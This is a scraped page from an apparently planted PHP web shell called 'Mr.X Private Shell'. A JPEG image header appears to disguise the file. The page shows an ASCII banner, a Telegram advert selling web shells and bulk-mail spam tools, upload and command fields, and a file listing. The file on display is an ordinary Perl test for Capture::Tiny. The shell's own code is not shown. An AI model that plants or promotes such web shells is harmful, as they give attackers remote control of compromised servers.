����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# Copyright (c) 2009 by David Golden. All rights reserved.
# Licensed under Apache License, Version 2.0 (the "License").
# You may not use this file except in compliance with the License.
# A copy of the License was distributed with this file or you may obtain a
# copy of the License from http://www.apache.org/licenses/LICENSE-2.0

use strict;
use warnings;
use Test::More;
use lib 't/lib';
use IO::Handle;
use IO::File;
use File::Temp qw/tmpnam/;
use Utils qw/next_fd sig_num/;
use Capture::Tiny ':all';
use Config;

plan tests => 19;

local $ENV{PERL_CAPTURE_TINY_TIMEOUT} = 0; # no timeouts

my $builder = Test::More->builder;
binmode($builder->failure_output, ':utf8') if $] >= 5.008;

my $fd = next_fd;
my ($out, $err, $res, @res);

#--------------------------------------------------------------------------#
# capture to custom IO::File
#--------------------------------------------------------------------------#

my $temp_out = tmpnam();
my $temp_err = tmpnam();

ok( !-e $temp_out, "Temp out '$temp_out' doesn't exist" );
ok( !-e $temp_err, "Temp out '$temp_err' doesn't exist" );

my $out_fh = IO::File->new($temp_out, "w+");
my $err_fh = IO::File->new($temp_err, "w+");

capture {
  print STDOUT "foo\n";
  print STDERR "bar\n";
} stdout => $out_fh, stderr => $err_fh;

$out_fh->close;
$err_fh->close;

is( scalar do {local (@ARGV,$/) = $temp_out; <>} , "foo\n",
  "captured STDOUT to custom handle (IO::File)"
);
is( scalar do {local (@ARGV,$/) = $temp_err; <>} , "bar\n",
  "captured STDERR to custom handle (IO::File)"
);

unlink $_ for $temp_out, $temp_err;

#--------------------------------------------------------------------------#
# capture to GLOB handle
#--------------------------------------------------------------------------#

$temp_out = tmpnam();
$temp_err = tmpnam();

ok( !-e $temp_out, "Temp out '$temp_out' doesn't exist" );
ok( !-e $temp_err, "Temp out '$temp_err' doesn't exist" );

open $out_fh, "+>", $temp_out;
open $err_fh, "+>", $temp_err;

capture {
  print STDOUT "foo\n";
  print STDERR "bar\n";
} stdout => $out_fh, stderr => $err_fh;

$out_fh->close;
$err_fh->close;

is( scalar do {local (@ARGV,$/) = $temp_out; <>} , "foo\n",
  "captured STDOUT to custom handle (GLOB)"
);
is( scalar do {local (@ARGV,$/) = $temp_err; <>} , "bar\n",
  "captured STDERR to custom handle (GLOB)"
);

unlink $_ for $temp_out, $temp_err;

#--------------------------------------------------------------------------#
# append to custom IO::File
#--------------------------------------------------------------------------#

$temp_out = tmpnam();
$temp_err = tmpnam();

ok( !-e $temp_out, "Temp out '$temp_out' doesn't exist" );
ok( !-e $temp_err, "Temp out '$temp_err' doesn't exist" );

$out_fh = IO::File->new($temp_out, "w+");
$err_fh = IO::File->new($temp_err, "w+");

$out_fh->autoflush(1);
$err_fh->autoflush(1);

print $out_fh "Shouldn't see this in capture\n";
print $err_fh "Shouldn't see this in capture\n";

my ($got_out, $got_err) = capture {
  print STDOUT "foo\n";
  print STDERR "bar\n";
} stdout => $out_fh, stderr => $err_fh;

$out_fh->close;
$err_fh->close;

is( $got_out, "foo\n",
  "captured appended STDOUT to custom handle"
);
is( $got_err, "bar\n",
  "captured appended STDERR to custom handle"
);

unlink $_ for $temp_out, $temp_err;

#--------------------------------------------------------------------------#
# repeated append to custom IO::File with no output
#--------------------------------------------------------------------------#

$temp_out = tmpnam();
$temp_err = tmpnam();

ok( !-e $temp_out, "Temp out '$temp_out' doesn't exist" );
ok( !-e $temp_err, "Temp out '$temp_err' doesn't exist" );

$out_fh = IO::File->new($temp_out, "a+");
$err_fh = IO::File->new($temp_err, "a+");

($got_out, $got_err) = capture {
  my $i = 0; $i++ for 1 .. 10; # no output, just busywork
} stdout => $out_fh, stderr => $err_fh;

is( $got_out, "",
  "Try 1: captured empty appended STDOUT to custom handle"
);
is( $got_err, "",
  "Try 1: captured empty appended STDERR to custom handle"
);

($got_out, $got_err) = capture {
  my $i = 0; $i++ for 1 .. 10; # no output, just busywork
} stdout => $out_fh, stderr => $err_fh;

is( $got_out, "",
  "Try 2: captured empty appended STDOUT to custom handle"
);
is( $got_err, "",
  "Try 2: captured empty appended STDERR to custom handle"
);

unlink $_ for $temp_out, $temp_err;

#--------------------------------------------------------------------------#
# finish
#--------------------------------------------------------------------------#

close ARGV; # opened by reading from <>
is( next_fd, $fd, "no file descriptors leaked" );

exit 0;


Filemanager

Name Type Size Permission Actions
lib Folder 0775
00-report-prereqs.dd File 2.97 KB 0644
00-report-prereqs.t File 5.88 KB 0644
01-Capture-Tiny.t File 824 B 0644
02-capture.t File 766 B 0644
03-tee.t File 884 B 0644
06-stdout-closed.t File 1 KB 0644
07-stderr-closed.t File 1 KB 0644
08-stdin-closed.t File 1.56 KB 0644
09-preserve-exit-code.t File 737 B 0644
10-stdout-string.t File 1.14 KB 0644
11-stderr-string.t File 1.14 KB 0644
12-stdin-string.t File 1.37 KB 0644
13-stdout-tied.t File 1.25 KB 0644
14-stderr-tied.t File 1.26 KB 0644
15-stdin-tied.t File 1.27 KB 0644
16-catch-errors.t File 1.18 KB 0644
17-pass-results.t File 2.6 KB 0644
18-custom-capture.t File 4.52 KB 0644
19-relayering.t File 2.46 KB 0644
20-stdout-badtie.t File 1.23 KB 0644
21-stderr-badtie.t File 1.23 KB 0644
22-stdin-badtie.t File 1.23 KB 0644
23-all-tied.t File 1.57 KB 0644
24-all-badtied.t File 1.5 KB 0644
25-cap-fork.t File 1.24 KB 0644